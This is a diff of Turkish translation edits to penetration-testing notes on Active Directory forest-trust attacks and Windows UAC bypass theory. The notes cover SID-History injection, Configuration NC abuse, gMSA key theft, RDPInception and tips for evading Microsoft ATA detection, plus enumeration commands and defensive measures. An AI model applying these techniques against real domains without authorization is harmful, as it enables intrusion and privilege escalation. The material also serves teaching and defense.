- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, özellikle bir **DACL** içindeki **ACE'ler** olarak belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
 | 
			
		||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
 | 
			
		||||
 | 
			
		||||
### Çocuktan Anaç Orman Yetki Yükseltmesi
 | 
			
		||||
### Çocuktan Ana Orman Yetki Yükseltmesi
 | 
			
		||||
```
 | 
			
		||||
Get-DomainTrust
 | 
			
		||||
 | 
			
		||||
@ -491,7 +564,7 @@ WhenCreated     : 2/19/2021 1:28:00 PM
 | 
			
		||||
WhenChanged     : 2/19/2021 1:28:00 PM
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ için ve diğeri _Parent_ --> _Child_ için.\
 | 
			
		||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ ve diğeri _Parent_ --> _Child_ için.\
 | 
			
		||||
> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz:
 | 
			
		||||
>
 | 
			
		||||
> ```bash
 | 
			
		||||
@ -501,7 +574,7 @@ WhenChanged     : 2/19/2021 1:28:00 PM
 | 
			
		||||
 | 
			
		||||
#### SID-History Injection
 | 
			
		||||
 | 
			
		||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme:
 | 
			
		||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükseltin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
sid-history-injection.md
 | 
			
		||||
@ -509,17 +582,17 @@ sid-history-injection.md
 | 
			
		||||
 | 
			
		||||
#### Yazılabilir Configuration NC'yi istismar etme
 | 
			
		||||
 | 
			
		||||
Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
 | 
			
		||||
Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
 | 
			
		||||
 | 
			
		||||
**GPO'yu kök DC alanına bağlama**
 | 
			
		||||
**GPO'yu kök DC alanına bağlayın**
 | 
			
		||||
 | 
			
		||||
Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
 | 
			
		||||
 | 
			
		||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
 | 
			
		||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
 | 
			
		||||
 | 
			
		||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür.
 | 
			
		||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür.
 | 
			
		||||
 | 
			
		||||
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
 | 
			
		||||
 | 
			
		||||
@ -527,13 +600,13 @@ Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-
 | 
			
		||||
 | 
			
		||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
 | 
			
		||||
 | 
			
		||||
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atılabilir.
 | 
			
		||||
Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**DA'dan EA'ya ADCS ESC5 ile**
 | 
			
		||||
 | 
			
		||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
 | 
			
		||||
 | 
			
		||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) başlıklı yazıda okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) başlığında tartışılmıştır.
 | 
			
		||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi.
 | 
			
		||||
 | 
			
		||||
### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
 | 
			
		||||
```powershell
 | 
			
		||||
@ -564,18 +637,18 @@ TrustDirection  : Outbound        --> Outbound trust
 | 
			
		||||
WhenCreated     : 2/19/2021 10:15:24 PM
 | 
			
		||||
WhenChanged     : 2/19/2021 10:15:24 PM
 | 
			
		||||
```
 | 
			
		||||
Bu senaryoda **domaininiz**, **farklı domainlerden** bir prensipe bazı **yetkiler** **güveniyor**.
 | 
			
		||||
Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı haklar** vermektedir.
 | 
			
		||||
 | 
			
		||||
Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir:
 | 
			
		||||
Ancak, bir **domain güvenilir** olduğunda, güvenilir domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilir şifreyi** **şifre** olarak kullanır. Bu, **güvenilir domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
external-forest-domain-one-way-outbound.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir).
 | 
			
		||||
Güvenilir domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir).
 | 
			
		||||
 | 
			
		||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\
 | 
			
		||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, **RDP oturumu** sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
 | 
			
		||||
Güvenilir domaini tehlikeye atmanın bir başka yolu, **güvenilir domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\
 | 
			
		||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
rdp-sessions-abuse.md
 | 
			
		||||
@ -586,7 +659,7 @@ rdp-sessions-abuse.md
 | 
			
		||||
### **SID Filtreleme:**
 | 
			
		||||
 | 
			
		||||
- Orman güvenleri arasında SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır.
 | 
			
		||||
- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açar.
 | 
			
		||||
- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açabilir.
 | 
			
		||||
 | 
			
		||||
### **Seçici Kimlik Doğrulama:**
 | 
			
		||||
 | 
			
		||||
@ -605,29 +678,29 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 | 
			
		||||
 | 
			
		||||
[**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md)\\
 | 
			
		||||
 | 
			
		||||
### **Kimlik Bilgilerini Koruma için Savunma Önlemleri**
 | 
			
		||||
### **Kimlik Bilgisi Koruma için Savunma Önlemleri**
 | 
			
		||||
 | 
			
		||||
- **Domain Admins Kısıtlamaları**: Domain Admins'in yalnızca Domain Controller'lara giriş yapmasına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
 | 
			
		||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır.
 | 
			
		||||
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
 | 
			
		||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
 | 
			
		||||
- **Hizmet Hesabı Ayrıcalıkları**: Hizmetler, güvenliği korumak için Domain Yöneticisi (DA) ayrıcalıkları ile çalıştırılmamalıdır.
 | 
			
		||||
- **Geçici Ayrıcalık Sınırlaması**: DA ayrıcalıkları gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
 | 
			
		||||
 | 
			
		||||
### **Aldatma Tekniklerini Uygulama**
 | 
			
		||||
 | 
			
		||||
- Aldatma uygulamak, süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş şifreler gibi özelliklere sahip tuzaklar, sahte kullanıcılar veya bilgisayarlar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir.
 | 
			
		||||
- Aldatma uygulamak, süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş şifreler gibi özelliklere sahip tuzaklar, sahte kullanıcılar veya bilgisayarlar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir.
 | 
			
		||||
- Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır.
 | 
			
		||||
- Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir.
 | 
			
		||||
 | 
			
		||||
### **Aldatmayı Tanımlama**
 | 
			
		||||
 | 
			
		||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur.
 | 
			
		||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları yer alır.
 | 
			
		||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
 | 
			
		||||
 | 
			
		||||
### **Algılama Sistemlerini Aşma**
 | 
			
		||||
 | 
			
		||||
- **Microsoft ATA Algılama Aşma**:
 | 
			
		||||
- **Kullanıcı Sayımı**: Domain Controller'larda oturum sayımını önleyerek ATA algılamasını engellemek.
 | 
			
		||||
- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek.
 | 
			
		||||
- **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur.
 | 
			
		||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Controller'dan değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Controller'dan yürütme, uyarıları tetikler.
 | 
			
		||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## UAC
 | 
			
		||||
 | 
			
		||||
[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, yalnızca bir yönetici bu uygulamalara/görevlere sistemde yönetici düzeyinde erişim izni verirse çalıştırılabilir. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
 | 
			
		||||
[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi potansiyel olarak tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, aksi takdirde bir yönetici bu uygulama/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
 | 
			
		||||
 | 
			
		||||
Bütünlük seviyeleri hakkında daha fazla bilgi için:
 | 
			
		||||
 | 
			
		||||
@ -12,7 +12,7 @@ Bütünlük seviyeleri hakkında daha fazla bilgi için:
 | 
			
		||||
../windows-local-privilege-escalation/integrity-levels.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart bir kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve yönetici ayrıcalıkları olan bir jeton.
 | 
			
		||||
UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler gerçekleştirmek için ve yönetici ayrıcalıkları olan bir jeton.
 | 
			
		||||
 | 
			
		||||
Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:
 | 
			
		||||
 | 
			
		||||
@ -22,18 +22,18 @@ Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: UIAccess uygulamalarının güvenli masaüstünü kullanmadan yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Devre Dışı                                                  |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Windows dışı ikili dosyalar için onay istemi               |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Güvenli masaüstünde kimlik bilgileri istemi                 |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Devre Dışı                                                  |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Etkin                                                      |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Etkin                                                      |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Yükseltme istemi için güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Etkin                                                      |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Yükseltme istemi sırasında güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Etkin                                                      |
 | 
			
		||||
| [Kullanıcı Hesabı Kontrolü: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Etkin                                                      |
 | 
			
		||||
 | 
			
		||||
### UAC Atlatma Teorisi
 | 
			
		||||
### UAC Bypass Teorisi
 | 
			
		||||
 | 
			
		||||
Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değerine sahiptir. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır.
 | 
			
		||||
Bazı programlar, **kullanıcı yönetici grubuna ait** olduğunda **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değeri ile bulunur. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır.
 | 
			
		||||
 | 
			
		||||
Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye çıkarmak) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** için kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır.
 | 
			
		||||
Sonra, **UAC'yi atlamak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak **rastgele kod** çalıştırır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır.
 | 
			
		||||
 | 
			
		||||
Bir ikili dosyanın _**Manifest**_ dosyasını, Sysinternals'tan _**sigcheck.exe**_ aracını kullanarak **kontrol** edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak **görebilirsiniz**.
 | 
			
		||||
 | 
			
		||||
@ -48,7 +48,7 @@ EnableLUA    REG_DWORD    0x1
 | 
			
		||||
```
 | 
			
		||||
Eğer **`1`** ise UAC **etkin**, eğer **`0`** ise veya **mevcut değilse**, UAC **etkisiz**dir.
 | 
			
		||||
 | 
			
		||||
Sonra, **hangi seviye** yapılandırıldığını kontrol edin:
 | 
			
		||||
Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin:
 | 
			
		||||
```
 | 
			
		||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 | 
			
		||||
 | 
			
		||||
@ -58,22 +58,22 @@ ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 | 
			
		||||
- Eğer **`0`** ise, UAC istemi olmayacak (gibi **devre dışı**)
 | 
			
		||||
- Eğer **`1`** ise, yönetici **kullanıcı adı ve şifre** istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde)
 | 
			
		||||
- Eğer **`2`** ise (**Her zaman beni bilgilendir**) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde)
 | 
			
		||||
- Eğer **`3`** ise `1` gibi ama Güvenli Masaüstünde gerekli değil
 | 
			
		||||
- Eğer **`4`** ise `2` gibi ama Güvenli Masaüstünde gerekli değil
 | 
			
		||||
- Eğer **`5`** (**varsayılan**) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir
 | 
			
		||||
- Eğer **`3`** ise, `1` gibi ama Güvenli Masaüstünde gerekli değil
 | 
			
		||||
- Eğer **`4`** ise, `2` gibi ama Güvenli Masaüstünde gerekli değil
 | 
			
		||||
- Eğer **`5`** ise (**varsayılan**) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir
 | 
			
		||||
 | 
			
		||||
Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\
 | 
			
		||||
Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (**yerleşik Yönetici**) **UAC olmadan yönetici görevlerini** yerine getirebilir ve eğer `1` ise, **"Yöneticiler"** grubundaki **tüm hesaplar** bunları yapabilir.
 | 
			
		||||
 | 
			
		||||
Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakmalısınız\
 | 
			
		||||
Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça.
 | 
			
		||||
Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise, yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça.
 | 
			
		||||
 | 
			
		||||
#### Özet
 | 
			
		||||
 | 
			
		||||
- Eğer `EnableLUA=0` veya **yoksa**, **hiç kimse için UAC yok**
 | 
			
		||||
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1` , Hiç kimse için UAC yok**
 | 
			
		||||
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1`**, hiç kimse için UAC yok
 | 
			
		||||
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`, RID 500 için UAC yok (Yerleşik Yönetici)**
 | 
			
		||||
